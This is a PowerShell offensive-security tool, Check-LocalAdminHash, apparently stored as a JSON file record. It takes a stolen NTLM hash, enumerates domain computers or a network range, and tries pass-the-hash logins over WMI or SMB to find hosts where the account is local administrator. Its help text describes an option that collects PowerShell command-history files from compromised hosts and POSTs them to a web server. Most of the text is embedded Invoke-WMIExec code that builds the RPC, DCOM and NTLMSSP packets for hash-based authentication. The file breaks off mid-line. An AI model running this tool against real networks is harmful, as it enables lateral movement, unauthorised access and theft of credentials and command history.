[
  {
    "path": "Check-LocalAdminHash.ps1",
    "content": "﻿\r\nFunction Check-LocalAdminHash{\r\n<#\r\n    Check-LocalAdminHash\r\n    Author: Beau Bullock (@dafthack)\r\n    License: BSD 3-Clause\r\n    Required Dependencies: None\r\n    \r\n    .SYNOPSIS\r\n\r\n    Check-LocalAdminHash attempts to authenticate to multiple hosts over either WMI or SMB using a password hash to determine if the provided credential is a local administrator. It's useful if you obtain a password hash for a user and want to see where they are local admin on a network. It is essentially a Frankenstein of two of my favorite tools along with some of my own code. It utilizes Kevin Robertson's (@kevin_robertson) Invoke-TheHash project for the credential checking portion. Additionally, the script utilizes modules from PowerView by Will Schroeder (@harmj0y) and Matt Graeber (@mattifestation) to enumerate domain computers to find targets for testing admin access against. \r\n\r\n    .DESCRIPTION\r\n\r\n    Check-LocalAdminHash attempts to authenticate to multiple hosts over either WMI or SMB using a password hash to determine if the provided credential is a local administrator. It's useful if you obtain a password hash for a user and want to see where they are local admin on a network. It is essentially a Frankenstein of two of my favorite tools along with some of my own code. It utilizes Kevin Robertson's (@kevin_robertson) Invoke-TheHash project for the credential checking portion. Additionally, the script utilizes modules from PowerView by Will Schroeder (@harmj0y) and Matt Graeber (@mattifestation) to enumerate domain computers to find targets for testing admin access against. \r\n\r\n    .PARAMETER Username\r\n\r\n    The Username for attempting authentication.\r\n\r\n    .PARAMETER PasswordHash\r\n\r\n    Password hash of the user.\r\n\r\n    .PARAMETER TargetSystem\r\n\r\n    Single hostname or IP for authentication attempt.\r\n\r\n    .PARAMETER TargetList\r\n\r\n    A list of hosts to scan one per line\r\n\r\n    .PARAMETER AllSystems\r\n\r\n    A switch that when enabled utilizes PowerView modules to enumerate all domain systems. This list is then used to check local admin access.\r\n\r\n    .PARAMETER Domain\r\n\r\n    This is the domain that PowerView will utilize for discovering systems.\r\n\r\n    .PARAMETER UserDomain\r\n\r\n    This is the user's domain to authenticate to each system with. Don't use this flag if using a local cred instead of domain cred.\r\n\r\n    .PARAMETER Protocol\r\n\r\n    This is the setting for whether to check the hash using WMI or SMB. Default is 'WMI' but set it to 'SMB' to check that instead.\r\n\r\n    .PARAMETER CIDR\r\n\r\n    Specify a CIDR form network range such as 192.168.0.0/24\r\n\r\n    .PARAMETER Threads\r\n\r\n    Defaults to 5 threads. (I've run into some odd issues setting threads more than 15 with some results not coming back.)\r\n    \r\n    .PARAMETER ExfilPSReadline\r\n\r\n    For each system where auth is successful it runs a PowerShell command to locate PSReadLine console history files (PowerShell command history) and then POSTS them to a web server. See the Readme for server setup. \r\n\r\n    .EXAMPLE\r\n\r\n        C:\\PS> Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems\r\n\r\n        Description\r\n        -----------\r\n        This command will use the domain 'testdomain.local' to lookup all systems and then attempt to authenticate to each one using the user 'testdomain.local\\PossibleAdminUser' and a password hash over WMI.\r\n\r\n    .EXAMPLE\r\n\r\n        C:\\PS> Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24\r\n\r\n        Description\r\n        -----------\r\n        This command will use the provided CIDR range to generate a target list and then attempt to authenticate to each one using the local user 'PossibleAdminUser' and a password hash over WMI.\r\n\r\n        .EXAMPLE\r\n\r\n        C:\\PS> Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\\temp\\targetlist.txt -Protocol SMB\r\n\r\n        Description\r\n        -----------\r\n        This command will use the provided targetlist and attempt to authenticate to each host using the local user 'PossibleAdminUser' and a password hash over SMB.\r\n\r\n\r\n    .EXAMPLE\r\n\r\n        C:\\PS> Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrato -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB\r\n\r\n        Description\r\n        -----------\r\n        This command attempts to perform a local authentication for the user Administrator against the system 192.168.0.16 over SMB.\r\n\r\n    \r\n    .EXAMPLE\r\n\r\n        C:\\PS> Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline\r\n\r\n        Description\r\n        -----------\r\n        This command will use the domain 'testdomain.local' to lookup all systems and then attempt to authenticate to each one using the user 'testdomain.local\\PossibleAdminUser' and a password hash over WMI. It then attempts to locate PowerShell console history files (PSReadline) and POST them to a web server. See Readme for server setup.\r\n\r\n\r\n#>\r\nParam\r\n(\r\n    [Parameter(Position = 0, Mandatory = $true)]\r\n    [string]\r\n    $Username = \"\",\r\n\r\n    [Parameter(Position = 1, Mandatory = $true)]\r\n    [string]\r\n    $PasswordHash = \"\",\r\n\r\n    [Parameter(Position = 2, Mandatory = $false)]\r\n    [string]\r\n    $TargetSystem = \"\",\r\n\r\n    [Parameter(Position = 3, Mandatory = $false)]\r\n    [string]\r\n    $TargetList = \"\",\r\n\r\n    [Parameter(Position = 4, Mandatory = $false)]\r\n    [switch]\r\n    $AllSystems,\r\n\r\n    [Parameter(Position = 5, Mandatory = $false)]\r\n    [string]\r\n    $Domain = \"\",\r\n\r\n    [Parameter(Position = 6, Mandatory = $false)]\r\n    [string]\r\n    $UserDomain = \"\",\r\n\r\n    [Parameter(Position = 7, Mandatory = $false)]\r\n    [string]\r\n    $Protocol = \"WMI\",\r\n\r\n    [Parameter(Position = 8, Mandatory = $false)]\r\n    [string]\r\n    $CIDR = \"\",\r\n    \r\n    [Parameter(Position = 9, Mandatory = $false)]\r\n    [Int]\r\n    $Threads = 5,\r\n\r\n    [Parameter(Position = 10, Mandatory = $false)]\r\n    [Switch]\r\n    $ExfilPSReadline\r\n)\r\n    \r\n\r\n    $LocalAdminCheckBlock = {\r\n                param($Hostlist, $Username, $PasswordHash, $UserDomain, $Protocol, $ExfilPSReadLine)\r\n                    \r\n                     \r\n       ##### Had to include Invoke-TheHash within this code block\r\n       ##### The rest of the Check-LocalAdminHash module is down near line 4616. \r\n\r\n\r\n##############Copied Code From Invoke-WMIExec included from Kevin Robertson's Invoke-TheHash Starts Here#########\r\n################################### Thanks Kevin!!!! ############################################################\r\n###################https://github.com/Kevin-Robertson/Invoke-TheHash#############################################\r\n\r\n######Invoke-TheHash BSD 3-Clause\r\n#BSD 3-Clause License\r\n#\r\n#Copyright (c) 2017, Kevin Robertson\r\n#All rights reserved.\r\n#\r\n#Redistribution and use in source and binary forms, with or without\r\n#modification, are permitted provided that the following conditions are met:\r\n#\r\n#* Redistributions of source code must retain the above copyright notice, this\r\n#  list of conditions and the following disclaimer.\r\n#\r\n#* Redistributions in binary form must reproduce the above copyright notice,\r\n#  this list of conditions and the following disclaimer in the documentation\r\n#  and/or other materials provided with the distribution.\r\n#\r\n#* Neither the name of the copyright holder nor the names of its\r\n#  contributors may be used to endorse or promote products derived from\r\n#  this software without specific prior written permission.\r\n#\r\n#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\r\n#AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\r\n#IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\r\n#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\r\n#FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\r\n#DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\r\n#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\r\n#CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\r\n#OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\r\n#OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n\r\nfunction Invoke-WMIExec\r\n{\r\n<#\r\n.SYNOPSIS\r\nInvoke-WMIExec performs WMI command execution on targets using NTLMv2 pass the hash authentication.\r\n\r\nAuthor: Kevin Robertson (@kevin_robertson)  \r\nLicense: BSD 3-Clause \r\n\r\n.PARAMETER Target\r\nHostname or IP address of target.\r\n\r\n.PARAMETER Username\r\nUsername to use for authentication.\r\n\r\n.PARAMETER Domain\r\nDomain to use for authentication. This parameter is not needed with local accounts or when using @domain after\r\nthe username. \r\n\r\n.PARAMETER Hash\r\nNTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.\r\n\r\n.PARAMETER Command\r\nCommand to execute on the target. If a command is not specified, the function will just check to see if the\r\nusername and hash has access to WMI on the target.\r\n\r\n.PARAMETER Sleep\r\nDefault = 10 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this\r\nsetting if you are experiencing strange results.\r\n\r\n.EXAMPLE\r\nExecute a command.\r\nInvoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command \"command or launcher to execute\" -verbose\r\n\r\n.EXAMPLE\r\nCheck command execution privilege.\r\nInvoke-WMIExec -Target 192.168.100.20 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0\r\n\r\n.LINK\r\nhttps://github.com/Kevin-Robertson/Invoke-TheHash\r\n\r\n#>\r\n[CmdletBinding()]\r\nparam\r\n(\r\n    [parameter(Mandatory=$true)][String]$Target,\r\n    [parameter(Mandatory=$true)][String]$Username,\r\n    [parameter(Mandatory=$false)][String]$Domain,\r\n    [parameter(Mandatory=$false)][String]$Command,\r\n    [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,\r\n    [parameter(Mandatory=$false)][Int]$Sleep=10\r\n)\r\n\r\nif($Command)\r\n{\r\n    $WMI_execute = $true\r\n}\r\n\r\nfunction ConvertFrom-PacketOrderedDictionary\r\n{\r\n    param($packet_ordered_dictionary)\r\n\r\n    ForEach($field in $packet_ordered_dictionary.Values)\r\n    {\r\n        $byte_array += $field\r\n    }\r\n\r\n    return $byte_array\r\n}\r\n\r\n#RPC\r\n\r\nfunction New-PacketRPCBind\r\n{\r\n    param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version)\r\n\r\n    [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID)\r\n\r\n    $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $packet_RPCBind.Add(\"Version\",[Byte[]](0x05))\r\n    $packet_RPCBind.Add(\"VersionMinor\",[Byte[]](0x00))\r\n    $packet_RPCBind.Add(\"PacketType\",[Byte[]](0x0b))\r\n    $packet_RPCBind.Add(\"PacketFlags\",[Byte[]](0x03))\r\n    $packet_RPCBind.Add(\"DataRepresentation\",[Byte[]](0x10,0x00,0x00,0x00))\r\n    $packet_RPCBind.Add(\"FragLength\",[Byte[]](0x48,0x00))\r\n    $packet_RPCBind.Add(\"AuthLength\",[Byte[]](0x00,0x00))\r\n    $packet_RPCBind.Add(\"CallID\",$packet_call_ID_bytes)\r\n    $packet_RPCBind.Add(\"MaxXmitFrag\",[Byte[]](0xb8,0x10))\r\n    $packet_RPCBind.Add(\"MaxRecvFrag\",[Byte[]](0xb8,0x10))\r\n    $packet_RPCBind.Add(\"AssocGroup\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_RPCBind.Add(\"NumCtxItems\",$packet_num_ctx_items)\r\n    $packet_RPCBind.Add(\"Unknown\",[Byte[]](0x00,0x00,0x00))\r\n    $packet_RPCBind.Add(\"ContextID\",$packet_context_ID)\r\n    $packet_RPCBind.Add(\"NumTransItems\",[Byte[]](0x01))\r\n    $packet_RPCBind.Add(\"Unknown2\",[Byte[]](0x00))\r\n    $packet_RPCBind.Add(\"Interface\",$packet_UUID)\r\n    $packet_RPCBind.Add(\"InterfaceVer\",$packet_UUID_version)\r\n    $packet_RPCBind.Add(\"InterfaceVerMinor\",[Byte[]](0x00,0x00))\r\n    $packet_RPCBind.Add(\"TransferSyntax\",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60))\r\n    $packet_RPCBind.Add(\"TransferSyntaxVer\",[Byte[]](0x02,0x00,0x00,0x00))\r\n\r\n    if($packet_num_ctx_items[0] -eq 2)\r\n    {\r\n        $packet_RPCBind.Add(\"ContextID2\",[Byte[]](0x01,0x00))\r\n        $packet_RPCBind.Add(\"NumTransItems2\",[Byte[]](0x01))\r\n        $packet_RPCBind.Add(\"Unknown3\",[Byte[]](0x00))\r\n        $packet_RPCBind.Add(\"Interface2\",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a))\r\n        $packet_RPCBind.Add(\"InterfaceVer2\",[Byte[]](0x00,0x00))\r\n        $packet_RPCBind.Add(\"InterfaceVerMinor2\",[Byte[]](0x00,0x00))\r\n        $packet_RPCBind.Add(\"TransferSyntax2\",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n        $packet_RPCBind.Add(\"TransferSyntaxVer2\",[Byte[]](0x01,0x00,0x00,0x00))\r\n    }\r\n    elseif($packet_num_ctx_items[0] -eq 3)\r\n    {\r\n        $packet_RPCBind.Add(\"ContextID2\",[Byte[]](0x01,0x00))\r\n        $packet_RPCBind.Add(\"NumTransItems2\",[Byte[]](0x01))\r\n        $packet_RPCBind.Add(\"Unknown3\",[Byte[]](0x00))\r\n        $packet_RPCBind.Add(\"Interface2\",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))\r\n        $packet_RPCBind.Add(\"InterfaceVer2\",[Byte[]](0x00,0x00))\r\n        $packet_RPCBind.Add(\"InterfaceVerMinor2\",[Byte[]](0x00,0x00))\r\n        $packet_RPCBind.Add(\"TransferSyntax2\",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36))\r\n        $packet_RPCBind.Add(\"TransferSyntaxVer2\",[Byte[]](0x01,0x00,0x00,0x00))\r\n        $packet_RPCBind.Add(\"ContextID3\",[Byte[]](0x02,0x00))\r\n        $packet_RPCBind.Add(\"NumTransItems3\",[Byte[]](0x01))\r\n        $packet_RPCBind.Add(\"Unknown4\",[Byte[]](0x00))\r\n        $packet_RPCBind.Add(\"Interface3\",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))\r\n        $packet_RPCBind.Add(\"InterfaceVer3\",[Byte[]](0x00,0x00))\r\n        $packet_RPCBind.Add(\"InterfaceVerMinor3\",[Byte[]](0x00,0x00))\r\n        $packet_RPCBind.Add(\"TransferSyntax3\",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n        $packet_RPCBind.Add(\"TransferSyntaxVer3\",[Byte[]](0x01,0x00,0x00,0x00))\r\n        $packet_RPCBind.Add(\"AuthType\",[Byte[]](0x0a))\r\n        $packet_RPCBind.Add(\"AuthLevel\",[Byte[]](0x04))\r\n        $packet_RPCBind.Add(\"AuthPadLength\",[Byte[]](0x00))\r\n        $packet_RPCBind.Add(\"AuthReserved\",[Byte[]](0x00))\r\n        $packet_RPCBind.Add(\"ContextID4\",[Byte[]](0x00,0x00,0x00,0x00))\r\n        $packet_RPCBind.Add(\"Identifier\",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))\r\n        $packet_RPCBind.Add(\"MessageType\",[Byte[]](0x01,0x00,0x00,0x00))\r\n        $packet_RPCBind.Add(\"NegotiateFlags\",[Byte[]](0x97,0x82,0x08,0xe2))\r\n        $packet_RPCBind.Add(\"CallingWorkstationDomain\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n        $packet_RPCBind.Add(\"CallingWorkstationName\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n        $packet_RPCBind.Add(\"OSVersion\",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f))\r\n    }\r\n\r\n    if($packet_call_ID -eq 3)\r\n    {\r\n        $packet_RPCBind.Add(\"AuthType\",[Byte[]](0x0a))\r\n        $packet_RPCBind.Add(\"AuthLevel\",[Byte[]](0x02))\r\n        $packet_RPCBind.Add(\"AuthPadLength\",[Byte[]](0x00))\r\n        $packet_RPCBind.Add(\"AuthReserved\",[Byte[]](0x00))\r\n        $packet_RPCBind.Add(\"ContextID3\",[Byte[]](0x00,0x00,0x00,0x00))\r\n        $packet_RPCBind.Add(\"Identifier\",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))\r\n        $packet_RPCBind.Add(\"MessageType\",[Byte[]](0x01,0x00,0x00,0x00))\r\n        $packet_RPCBind.Add(\"NegotiateFlags\",[Byte[]](0x97,0x82,0x08,0xe2))\r\n        $packet_RPCBind.Add(\"CallingWorkstationDomain\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n        $packet_RPCBind.Add(\"CallingWorkstationName\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n        $packet_RPCBind.Add(\"OSVersion\",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f))\r\n    }\r\n\r\n    return $packet_RPCBind\r\n}\r\n\r\nfunction New-PacketRPCAUTH3\r\n{\r\n    param([Byte[]]$packet_NTLMSSP)\r\n\r\n    [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLMSSP.Length)[0,1]\r\n    [Byte[]]$packet_RPC_length = [System.BitConverter]::GetBytes($packet_NTLMSSP.Length + 28)[0,1]\r\n\r\n    $packet_RPCAuth3 = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $packet_RPCAuth3.Add(\"Version\",[Byte[]](0x05))\r\n    $packet_RPCAuth3.Add(\"VersionMinor\",[Byte[]](0x00))\r\n    $packet_RPCAuth3.Add(\"PacketType\",[Byte[]](0x10))\r\n    $packet_RPCAuth3.Add(\"PacketFlags\",[Byte[]](0x03))\r\n    $packet_RPCAuth3.Add(\"DataRepresentation\",[Byte[]](0x10,0x00,0x00,0x00))\r\n    $packet_RPCAuth3.Add(\"FragLength\",$packet_RPC_length)\r\n    $packet_RPCAuth3.Add(\"AuthLength\",$packet_NTLMSSP_length)\r\n    $packet_RPCAuth3.Add(\"CallID\",[Byte[]](0x03,0x00,0x00,0x00))\r\n    $packet_RPCAuth3.Add(\"MaxXmitFrag\",[Byte[]](0xd0,0x16))\r\n    $packet_RPCAuth3.Add(\"MaxRecvFrag\",[Byte[]](0xd0,0x16))\r\n    $packet_RPCAuth3.Add(\"AuthType\",[Byte[]](0x0a))\r\n    $packet_RPCAuth3.Add(\"AuthLevel\",[Byte[]](0x02))\r\n    $packet_RPCAuth3.Add(\"AuthPadLength\",[Byte[]](0x00))\r\n    $packet_RPCAuth3.Add(\"AuthReserved\",[Byte[]](0x00))\r\n    $packet_RPCAuth3.Add(\"ContextID\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_RPCAuth3.Add(\"NTLMSSP\",$packet_NTLMSSP)\r\n\r\n    return $packet_RPCAuth3\r\n}\r\n\r\nfunction New-PacketRPCRequest\r\n{\r\n    param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data)\r\n\r\n    if($packet_auth_length -gt 0)\r\n    {\r\n        $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8\r\n    }\r\n\r\n    [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length)\r\n    [Byte[]]$packet_frag_length = $packet_write_length[0,1]\r\n    [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length)\r\n    [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length)[0,1]\r\n\r\n    $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $packet_RPCRequest.Add(\"Version\",[Byte[]](0x05))\r\n    $packet_RPCRequest.Add(\"VersionMinor\",[Byte[]](0x00))\r\n    $packet_RPCRequest.Add(\"PacketType\",[Byte[]](0x00))\r\n    $packet_RPCRequest.Add(\"PacketFlags\",$packet_flags)\r\n    $packet_RPCRequest.Add(\"DataRepresentation\",[Byte[]](0x10,0x00,0x00,0x00))\r\n    $packet_RPCRequest.Add(\"FragLength\",$packet_frag_length)\r\n    $packet_RPCRequest.Add(\"AuthLength\",$packet_auth_length)\r\n    $packet_RPCRequest.Add(\"CallID\",$packet_call_ID)\r\n    $packet_RPCRequest.Add(\"AllocHint\",$packet_alloc_hint)\r\n    $packet_RPCRequest.Add(\"ContextID\",$packet_context_ID)\r\n    $packet_RPCRequest.Add(\"Opnum\",$packet_opnum)\r\n\r\n    if($packet_data.Length)\r\n    {\r\n        $packet_RPCRequest.Add(\"Data\",$packet_data)\r\n    }\r\n\r\n    return $packet_RPCRequest\r\n}\r\n\r\nfunction New-PacketRPCAlterContext\r\n{\r\n    param([Byte[]]$packet_assoc_group,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_interface_UUID)\r\n\r\n    $packet_RPCAlterContext = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $packet_RPCAlterContext.Add(\"Version\",[Byte[]](0x05))\r\n    $packet_RPCAlterContext.Add(\"VersionMinor\",[Byte[]](0x00))\r\n    $packet_RPCAlterContext.Add(\"PacketType\",[Byte[]](0x0e))\r\n    $packet_RPCAlterContext.Add(\"PacketFlags\",[Byte[]](0x03))\r\n    $packet_RPCAlterContext.Add(\"DataRepresentation\",[Byte[]](0x10,0x00,0x00,0x00))\r\n    $packet_RPCAlterContext.Add(\"FragLength\",[Byte[]](0x48,0x00))\r\n    $packet_RPCAlterContext.Add(\"AuthLength\",[Byte[]](0x00,0x00))\r\n    $packet_RPCAlterContext.Add(\"CallID\",$packet_call_ID)\r\n    $packet_RPCAlterContext.Add(\"MaxXmitFrag\",[Byte[]](0xd0,0x16))\r\n    $packet_RPCAlterContext.Add(\"MaxRecvFrag\",[Byte[]](0xd0,0x16))\r\n    $packet_RPCAlterContext.Add(\"AssocGroup\",$packet_assoc_group)\r\n    $packet_RPCAlterContext.Add(\"NumCtxItems\",[Byte[]](0x01))\r\n    $packet_RPCAlterContext.Add(\"Unknown\",[Byte[]](0x00,0x00,0x00))\r\n    $packet_RPCAlterContext.Add(\"ContextID\",$packet_context_ID)\r\n    $packet_RPCAlterContext.Add(\"NumTransItems\",[Byte[]](0x01))\r\n    $packet_RPCAlterContext.Add(\"Unknown2\",[Byte[]](0x00))\r\n    $packet_RPCAlterContext.Add(\"Interface\",$packet_interface_UUID)\r\n    $packet_RPCAlterContext.Add(\"InterfaceVer\",[Byte[]](0x00,0x00))\r\n    $packet_RPCAlterContext.Add(\"InterfaceVerMinor\",[Byte[]](0x00,0x00))\r\n    $packet_RPCAlterContext.Add(\"TransferSyntax\",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60))\r\n    $packet_RPCAlterContext.Add(\"TransferSyntaxVer\",[Byte[]](0x02,0x00,0x00,0x00))\r\n\r\n    return $packet_RPCAlterContext\r\n}\r\n\r\nfunction New-PacketNTLMSSPVerifier\r\n{\r\n    param([Int]$packet_auth_padding,[Byte[]]$packet_auth_level,[Byte[]]$packet_sequence_number)\r\n\r\n    $packet_NTLMSSPVerifier = New-Object System.Collections.Specialized.OrderedDictionary\r\n\r\n    if($packet_auth_padding -eq 4)\r\n    {\r\n        $packet_NTLMSSPVerifier.Add(\"AuthPadding\",[Byte[]](0x00,0x00,0x00,0x00))\r\n        [Byte[]]$packet_auth_pad_length = 0x04\r\n    }\r\n    elseif($packet_auth_padding -eq 8)\r\n    {\r\n        $packet_NTLMSSPVerifier.Add(\"AuthPadding\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n        [Byte[]]$packet_auth_pad_length = 0x08\r\n    }\r\n    elseif($packet_auth_padding -eq 12)\r\n    {\r\n        $packet_NTLMSSPVerifier.Add(\"AuthPadding\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n        [Byte[]]$packet_auth_pad_length = 0x0c\r\n    }\r\n    else\r\n    {\r\n        [Byte[]]$packet_auth_pad_length = 0x00\r\n    }\r\n\r\n    $packet_NTLMSSPVerifier.Add(\"AuthType\",[Byte[]](0x0a))\r\n    $packet_NTLMSSPVerifier.Add(\"AuthLevel\",$packet_auth_level)\r\n    $packet_NTLMSSPVerifier.Add(\"AuthPadLen\",$packet_auth_pad_length)\r\n    $packet_NTLMSSPVerifier.Add(\"AuthReserved\",[Byte[]](0x00))\r\n    $packet_NTLMSSPVerifier.Add(\"AuthContextID\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_NTLMSSPVerifier.Add(\"NTLMSSPVerifierVersionNumber\",[Byte[]](0x01,0x00,0x00,0x00))\r\n    $packet_NTLMSSPVerifier.Add(\"NTLMSSPVerifierChecksum\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $packet_NTLMSSPVerifier.Add(\"NTLMSSPVerifierSequenceNumber\",$packet_sequence_number)\r\n\r\n    return $packet_NTLMSSPVerifier\r\n}\r\n\r\nfunction New-PacketDCOMRemQueryInterface\r\n{\r\n    param([Byte[]]$packet_causality_ID,[Byte[]]$packet_IPID,[Byte[]]$packet_IID)\r\n\r\n    $packet_DCOMRemQueryInterface = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $packet_DCOMRemQueryInterface.Add(\"VersionMajor\",[Byte[]](0x05,0x00))\r\n    $packet_DCOMRemQueryInterface.Add(\"VersionMinor\",[Byte[]](0x07,0x00))\r\n    $packet_DCOMRemQueryInterface.Add(\"Flags\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemQueryInterface.Add(\"Reserved\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemQueryInterface.Add(\"CausalityID\",$packet_causality_ID)\r\n    $packet_DCOMRemQueryInterface.Add(\"Reserved2\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemQueryInterface.Add(\"IPID\",$packet_IPID)\r\n    $packet_DCOMRemQueryInterface.Add(\"Refs\",[Byte[]](0x05,0x00,0x00,0x00))\r\n    $packet_DCOMRemQueryInterface.Add(\"IIDs\",[Byte[]](0x01,0x00))\r\n    $packet_DCOMRemQueryInterface.Add(\"Unknown\",[Byte[]](0x00,0x00,0x01,0x00,0x00,0x00))\r\n    $packet_DCOMRemQueryInterface.Add(\"IID\",$packet_IID)\r\n\r\n    return $packet_DCOMRemQueryInterface\r\n}\r\n\r\nfunction New-PacketDCOMRemRelease\r\n{\r\n    param([Byte[]]$packet_causality_ID,[Byte[]]$packet_IPID,[Byte[]]$packet_IPID2)\r\n\r\n    $packet_DCOMRemRelease = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $packet_DCOMRemRelease.Add(\"VersionMajor\",[Byte[]](0x05,0x00))\r\n    $packet_DCOMRemRelease.Add(\"VersionMinor\",[Byte[]](0x07,0x00))\r\n    $packet_DCOMRemRelease.Add(\"Flags\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemRelease.Add(\"Reserved\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemRelease.Add(\"CausalityID\",$packet_causality_ID)\r\n    $packet_DCOMRemRelease.Add(\"Reserved2\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemRelease.Add(\"Unknown\",[Byte[]](0x02,0x00,0x00,0x00))\r\n    $packet_DCOMRemRelease.Add(\"InterfaceRefs\",[Byte[]](0x02,0x00,0x00,0x00))\r\n    $packet_DCOMRemRelease.Add(\"IPID\",$packet_IPID)\r\n    $packet_DCOMRemRelease.Add(\"PublicRefs\",[Byte[]](0x05,0x00,0x00,0x00))\r\n    $packet_DCOMRemRelease.Add(\"PrivateRefs\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemRelease.Add(\"IPID2\",$packet_IPID2)\r\n    $packet_DCOMRemRelease.Add(\"PublicRefs2\",[Byte[]](0x05,0x00,0x00,0x00))\r\n    $packet_DCOMRemRelease.Add(\"PrivateRefs2\",[Byte[]](0x00,0x00,0x00,0x00))\r\n\r\n    return $packet_DCOMRemRelease\r\n}\r\n\r\nfunction New-PacketDCOMRemoteCreateInstance\r\n{\r\n    param([Byte[]]$packet_causality_ID,[String]$packet_target)\r\n\r\n    [Byte[]]$packet_target_unicode = 